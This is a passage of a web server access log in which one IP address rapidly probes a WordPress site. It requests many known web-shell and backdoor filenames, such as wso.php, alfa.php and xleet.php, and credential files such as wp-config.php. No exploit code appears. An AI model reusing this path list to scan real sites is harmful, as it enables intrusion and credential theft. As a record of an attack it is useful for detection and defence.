157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /tinyfilemanager.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /upgrade.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /uploads.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /upload.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /ups.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /uploader.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /usr.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /w.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /v.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp_cron.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-activate.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp_wrong_datlib.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-access.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/dropdown.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/admin.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/alfa.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/images/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/fw.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/includes/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/maint/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/radio.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/install.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/plugins.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/upload.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/wp-login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/themes.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/user/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:38 +0700] "GET /wp-admin/wso.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-config.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-conctent.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-blog-header.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-atom.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-config-sample.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-conflg.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/flame.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/admin.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/function.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/fw.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:39 +0700] "GET /wp-content/languages/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/plugins/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/plugins/admin.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/radio.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/themes/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/wso.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/uploads/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/themes/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/themes/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/uploads/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-content/xleet.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-cron.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-defaul.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-files.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/assets/wp-login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/content.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/assets/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/certificates/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/cron.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/css/themes.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/css/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/css/gelay.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/css/wp-login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/default.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/customize/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/fonts/iq.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/fonts/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/fonts/dev.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/images/wp-login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/ID3/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/fonts/iqb.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/images/include.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:40 +0700] "GET /wp-includes/fw.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/js/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/IXR/index HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/js/crop/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/l10n.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/pomo/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/plugins.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/library.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/radio.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/Requests/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/rest-api/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/rest-api/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/themes.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/up.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/upload.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/widgets/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:41 +0700] "GET /wp-includes/Text/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-includes/wp-class.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-includes/widgets/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-includes/wp-login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-includes/xmlrpc.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-includes/x.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:42 +0700] "GET /wp-mail.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) 